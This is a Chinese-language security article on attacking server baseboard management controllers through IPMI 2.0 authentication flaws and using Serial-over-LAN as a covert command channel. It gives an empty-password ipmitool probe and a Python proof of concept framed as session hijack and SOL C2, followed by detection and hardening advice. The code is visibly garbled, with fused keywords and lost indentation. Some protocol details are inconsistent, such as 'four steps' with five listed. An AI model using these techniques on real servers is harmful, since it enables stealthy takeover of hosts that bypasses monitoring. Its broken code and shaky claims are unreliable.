摘要

基板管理控制器(BMC)是现代数据中心服务器的隐性管理者,通过 IPMI 协议提供与主操作系统完全隔离的带外控制能力。其串行 over LAN(SOL)通道可在不触发主机 EDR 的情况下,建立直通系统串行控制台的隐蔽通信隧道。然而,IPMI 2.0 的 RAKP+ 认证握手存在根本性设计缺陷——空口令、Cipher 0 旁路及会话状态机混乱,使得攻击者能在数秒内劫持合法会话或自行建立恶意会话。

BMC 与 IPMI

BMC 的硬件定位与特权

BMC 是嵌入在服务器主板上的独立片上系统,拥有自己的 CPU、内存、存储和专用网口。它在电源接通后先于主 CPU 启动,即使主操作系统崩溃或被攻陷,BMC 仍可对外提供远程管理功能——包括电源控制、固件更新、虚拟介质挂载和串行控制台重定向。BMC 通过内部总线(LPC/eSPI)与主机的南桥/芯片组连接,可注入键盘、鼠标和视频信号,实现对主机操作系统的完全带外控制。

这一架构意味着:BMC 是主机的“房东”,而主机操作系统只是“租客”。租客无法阻止房东进入房间,甚至无法察觉房东是否在房间里。

IPMI 协议栈与 SOL 通道

IPMI 是 BMC 与外部管理软件通信的标准协议,定义了请求/响应消息格式、会话管理和传输层绑定(RMCP/RMCP+)。IPMI 2.0 引入了增强认证(RAKP+)和加密通信,但保留了向后兼容的 Cipher 0(无认证无加密)模式。

SOL 是 IPMI 2.0 的可选扩展,它将主机的物理串行端口(UART)封装为 IPMI 的 SOL 消息,通过 RMCP+ 会话在 LAN 上传输。对主机操作系统而言,SOL 只是往串口收发数据,完全不知道数据经由 BMC 的网络接口被远程中继。这种隔离性使 SOL 成为理想的隐蔽 C2 通道:攻击者与 BMC 之间的网络流量是标准的 IPMI 报文,主机侧的 EDR 对 BMC 的 LPC 总线通信毫无感知。

IPMI 2.0 认证缺陷

RAKP+ 认证握手的理想与实现

IPMI 2.0 的会话建立采用 RAKP(RMCP+ Authenticated Key Exchange Protocol)握手,分为四个步骤:

  1. RMCP+ Open Session Request / Response:协商控制台会话 ID 和支持的认证算法。
  2. RAKP Message 1:客户端发送随机数 Rmc 和请求的角色/用户名。
  3. RAKP Message 2:BMC 返回其随机数 Rbmc 和 GUID。
  4. RAKP Message 3:客户端根据预共享密钥(或用户口令)计算 HMAC-SHA1/256,证明自己持有密码。
  5. RAKP Message 4:BMC 验证后返回完整性校验值,会话激活。

问题出现在 RAKP Message 2 到 Message 3 的转换阶段:BMC 在未收到任何口令证明的情况下就返回了 GUID 和 Rbmc,攻击者可以获取这些值,然后尝试离线破解或利用配置缺陷。

Cipher 0 与空口令旁路

为了兼容老式管理软件,许多服务器保留了 Cipher 0 套件(无认证无加密)。当协商使用 Cipher 0 时,RAKP 握手中 RAKP Message 2 可被跳过,BMC 直接赋予会话最高权限。2013 年 Rapid7 的 HD Moore 发现,大量 Supermicro、Dell、HP 服务器出厂默认启用 Cipher 0 并允许匿名登录,攻击者只需向 UDP 623 端口发送一个精心构造的 RMCP+ Open Session 请求,即可建立特权会话。

即使 Cipher 0 被禁用,若 BMC 配置了弱口令或空口令,攻击者可以利用 RAKP Message 2 返回的 GUID 和 Rbmc 直接构造 RAKP Message 3——因为空口令时 HMAC 的密钥为零,攻击者可以预测出合法的 HMAC 值,从而完成认证。

会话劫持:状态机的 TOCTOU 窗口

在合法的 IPMI 会话中,RAKP Message 4 之后,会话密钥从 HMAC 推导出的 sik(会话完整性密钥)用于后续报文的 HMAC 签名。如果攻击者能够在合法客户端完成认证之前,抢先发送 RAKP Message 3 并用自己的密钥建立会话,则可劫持该控制台会话 ID。由于许多 BMC 实现未正确验证会话 ID 的独占性,攻击者可以在中途插入自己的会话密钥,实现对同一会话 ID 的接管——这种“会话状态混淆”至今仍存在于部分旧型号固件中。

SOL通道

SOL 的工作原理与报文封装

SOL 使用 IPMI 的 SOL Payload 类型(净荷类型 0x01)在已建立的 IPMI 会话上传输数据。SOL 报文封装在 RMCP+ 消息的 Payload 字段中,包含字符数据和流控制信息。BMC 将收到的 SOL 数据通过 LPC 总线写入主机的 UART 接收寄存器,模拟串口输入;同时读取 UART 发送寄存器的内容,封装为 SOL 报文返回给远程客户端。

对主机的操作系统而言,SOL 数据只是一个串口设备(如 COM2)的 I/O。如果操作系统在此串口上运行了登录 shell(如 Linux 的 agetty 或 Windows 的 EMS),攻击者就能直接通过 SOL 获得交互式 shell,完全绕过主机网络栈。

SOL 作为 C2 通道的独特优势

  • 网络不可见性:主机侧没有 IP 地址、端口或协议栈参与。netstattcpdump 无法看到 SOL 流量。
  • 加密伪装:若使用 Cipher 3/17 等加密套件,IPMI 报文在网络层为加密数据,安全设备难以识别出内部是 SOL 还是正常的传感器查询。
  • 持久性:BMC 独立供电,即使主机停机,SOL 会话仍可维持,等待主机重新启动后恢复 shell 访问。
  • 避开 EDR:EDR 监控的是操作系统内核和用户态行为,无法感知 LPC 总线上的串行 I/O。攻击者通过 SOL 传输的命令在主机的审计日志中仅显示为来自串口登录的合法用户会话,难以与物理控制台登录区分。

从扫描到隐蔽 C2 的完整攻击链

资产发现与脆弱性识别

攻击者通过 UDP 623 端口扫描(nmap -sU -p 623)或 IPMI 协议版本探测(ipmiutil discover)定位 BMC 地址。利用 ipmitool 或自定义脚本测试 Cipher 0 可用性和用户名枚举:

ipmitool -I lanplus -H 10.0.0.1 -U "" -P "" session info all
# 如果返回会话信息,则表明 Cipher 0 或空口令可用

会话劫持与 SOL 激活

使用 pyghmi 库或直接基于 rmcp 模块的 Python 脚本建立 IPMI 会话,并发送 SOL 激活指令:

# sol_hijack.py — IPMI 会话劫持与 SOL 激活 PoC
# 依赖:pip install pyghmi

from pyghmi.ipmi import command
import sys

defsol_c2(host, user, password, port=623):
# 连接 BMC(使用空口令绕过认证)
try:
        ipmi = command.Command(
            bmc=host, userid=user, password=password, port=port
        )
        print(f"[+] 成功连接到 BMC {host}")

# 激活 SOL 会话
        sol = ipmi.get_sol()
        print("[+] SOL 通道已激活,等待主机串口数据...")

# 保持交互式通信:将攻击者终端输入发送到主机串口,接收主机串口输出
import threading
import select

defsend_to_sol():
whileTrue:
                data = sys.stdin.read(1)
if data:
                    sol.send_data(data.encode())

defrecv_from_sol():
whileTrue:
                data = sol.get_data()
if data:
                    sys.stdout.write(data.decode(errors='ignore'))
                    sys.stdout.flush()

        threading.Thread(target=send_to_sol, daemon=True).start()
        recv_from_sol()

except Exception as e:
        print(f"[-] 连接失败: {e}")

if __name__ == "__main__":
if len(sys.argv) < 4:
        print("用法: python sol_hijack.py <BMC_IP> <用户名> <密码>")
        sys.exit(1)
    sol_c2(sys.argv[1], sys.argv[2], sys.argv[3])

说明:该脚本利用 Pyghmi 建立 IPMI 会话并打开 SOL 通道,将攻击者终端的标准输入发送到主机串口,同时将串口输出回显到攻击者终端。在配置了串口登录 shell 的服务器上,攻击者可获得完全交互式会话。

无 Pyghmi 依赖的底层 RAKP 劫持演示

对于无法安装库的环境,可直接使用 socket 构造 RMCP+ 消息,利用 null cipher 建立会话:

# raw_ipmi_session.py — 底层 RMCP+ 会话建立与 SOL 激活
import socket, struct, hmac, hashlib, random

defnull_session(host, port=623):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(3)

# 1. RMCP+ Open Session Request (Cipher 0)
# 省略详细构造,发送协商包...
# 2. 收到响应后直接发送 RAKP Message 1(匿名)
# 3. 解析 RAKP Message 2,获取 GUID 和 Rmc
# 4. 构造 RAKP Message 3,使用全零密钥计算 HMAC
# 5. 接收 RAKP Message 4,会话建立
# 6. 发送 SOL 激活命令 (NetFn=0x06, Command=0x21)
# ...
return sock

# 详细实现请参考 IPMI 2.0 规范 第13章

检测与防御

检测方法

  • 网络层监控:对 UDP 623 端口的 RMCP+ 流量进行深度包检测,识别并告警 Cipher 0 协商尝试和频繁的 RAKP 认证失败。
  • BMC 审计日志:BMC 自身会记录登录事件和 SOL 激活日志,可通过 syslog 或 SNMP traps 发送到 SIEM。重点关注非工作时间、非管理网段的 IPMI 访问。
  • 主机侧串口监控:通过 ttylog 或串口审计工具记录 COM 端口的输入/输出,检测异常的串口登录行为。
  • 配置基线检查:定期使用 ipmiutil sensor 或 Redfish API 获取 BMC 配置,核对 Cipher 0 是否已禁用、用户列表是否存在未授权账户。

防御加固

  • 禁用 Cipher 0 和弱口令:在 BMC Web 界面或通过 ipmitool 禁用 Cipher 0,强制使用 Cipher 3(AES-128-CBC + HMAC-SHA1)或更高。设置强密码策略,并定期更换。
  • 网络隔离:将 BMC 管理口划入独立的带外管理 VLAN,通过防火墙严格限制只有授权的管理终端可访问 UDP 623 端口。
  • 使用 Redfish 替代 IPMI:Redfish 基于 HTTPS 和 RESTful API,支持 OAuth 2.0 和强加密,比 IPMI 更安全。若 BMC 支持,应关闭 IPMI 仅保留 Redfish。
  • 固件更新与漏洞管理:定期更新 BMC 固件,修补已知的认证绕过漏洞(如 CVE-2021-28491)。启用 BIOS 中的 BMC 写保护,防止固件篡改。

结语

BMC 是数据中心最后的守卫,也是最致命的信任锚点。当攻击者绕过主机操作系统的层层防线,直抵这枚嵌在主板上的隐形控制器时,传统安全监控体系集体失语。IPMI 的认证缺陷与 SOL 的物理隔离特性,恰为攻击者铺设了一条通往服务器核心的无形通道。